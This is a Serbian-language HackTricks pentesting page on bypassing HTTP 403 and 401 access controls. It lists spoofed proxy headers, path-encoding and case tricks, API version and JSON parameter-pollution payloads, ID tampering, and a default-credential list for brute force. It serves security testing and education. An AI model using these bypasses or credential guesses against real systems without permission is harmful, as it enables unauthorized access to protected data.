134 lines
7.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 403 & 401 Bypasses
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i oblak**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## HTTP Verbs/Methods Fuzzing
Pokušajte koristiti **različite glagole** za pristup datoteci: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
- Proverite zaglavlja odgovora, možda se može dobiti neka informacija. Na primer, **200 odgovor** na **HEAD** sa `Content-Length: 55` znači da **HEAD glagol može pristupiti informacijama**. Ali još uvek morate pronaći način da exfiltrirate te informacije.
- Korišćenje HTTP zaglavlja kao što je `X-HTTP-Method-Override: PUT` može prepisati korišćeni glagol.
- Koristite **`TRACE`** glagol i ako imate sreće, možda u odgovoru možete videti i **zaglavlja koja su dodali međuproksiji** koja bi mogla biti korisna.
## HTTP Headers Fuzzing
- **Promenite Host zaglavlje** na neku proizvoljnu vrednost ([to je ovde uspelo](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- Pokušajte da [**koristite druge User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) za pristup resursu.
- **Fuzz HTTP zaglavlja**: Pokušajte koristiti HTTP Proxy **zaglavlja**, HTTP autentifikaciju Basic i NTLM brute-force (samo sa nekoliko kombinacija) i druge tehnike. Da bih sve ovo uradio, napravio sam alat [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
- `X-Forwarded: 127.0.0.1`
- `Forwarded-For: 127.0.0.1`
- `X-Remote-IP: 127.0.0.1`
- `X-Remote-Addr: 127.0.0.1`
- `X-ProxyUser-Ip: 127.0.0.1`
- `X-Original-URL: 127.0.0.1`
- `Client-IP: 127.0.0.1`
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `X-ProxyUser-Ip: 127.0.0.1`
- `Host: localhost`
Ako je **putanja zaštićena**, možete pokušati da zaobiđete zaštitu putanje koristeći ova druga zaglavlja:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
- Ako je stranica **iza proksija**, možda je proksi taj koji vam sprečava pristup privatnim informacijama. Pokušajte da zloupotrebite [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ili** [**hop-by-hop zaglavlja**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- Fuzz [**posebna HTTP zaglavlja**](special-http-headers.md) tražeći različite odgovore.
- **Fuzz posebna HTTP zaglavlja** dok fuzzujete **HTTP metode**.
- **Uklonite Host zaglavlje** i možda ćete moći da zaobiđete zaštitu.
## Path **Fuzzing**
Ako je _/path_ blokiran:
- Pokušajte koristiti _**/**_**%2e/path \_(ako je pristup blokiran od strane proksija, ovo bi moglo zaobići zaštitu). Pokušajte takođe**\_\*\* /%252e\*\*/path (dupla URL enkodiranje)
- Pokušajte **Unicode bypass**: _/**%ef%bc%8f**path_ (URL enkodirani karakteri su poput "/") tako da kada se ponovo enkodira, biće _//path_ i možda ste već zaobišli proveru imena _/path_
- **Drugi zaobilaženja putanje**:
- site.com/secret > HTTP 403 Forbidden
- site.com/SECRET > HTTP 200 OK
- site.com/secret/ > HTTP 200 OK
- site.com/secret/. > HTTP 200 OK
- site.com//secret// > HTTP 200 OK
- site.com/./secret/.. > HTTP 200 OK
- site.com/;/secret > HTTP 200 OK
- site.com/.;/secret > HTTP 200 OK
- site.com//;//secret > HTTP 200 OK
- site.com/secret.json > HTTP 200 OK (ruby)
- Koristite [**ovu listu**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) u sledećim situacijama:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- **Druga API zaobilaženja:**
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:\[111]} --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:{“id”:111\}} --> 200 OK
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
## **Manipulacija parametrom**
- Promenite **vrednost parametra**: Od **`id=123` --> `id=124`**
- Dodajte dodatne parametre u URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
- Uklonite parametre
- Ponovo poredajte parametre
- Koristite posebne karaktere.
- Izvršite testiranje granica u parametrima — pružite vrednosti poput _-234_ ili _0_ ili _99999999_ (samo neki primeri).
## **Verzija protokola**
Ako koristite HTTP/1.1 **pokušajte da koristite 1.0** ili čak testirajte da li **podržava 2.0**.
## **Druga zaobilaženja**
- Dobijte **IP** ili **CNAME** domena i pokušajte **kontaktirati ga direktno**.
- Pokušajte da **opterećujete server** šaljući uobičajene GET zahteve ([Ovo je uspelo ovom tipu sa Facebookom](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **Promenite protokol**: sa http na https, ili za https na http
- Idite na [**https://archive.org/web/**](https://archive.org/web/) i proverite da li je u prošlosti ta datoteka bila **globalno dostupna**.
## **Brute Force**
- **Pogodite lozinku**: Testirajte sledeće uobičajene akreditive. Da li znate nešto o žrtvi? Ili ime CTF izazova?
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Pokušajte osnovnu, digest i NTLM autentifikaciju.
```:Common creds
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
```
## Automatski alati
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
- [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
- [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
<figure><img src="../../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}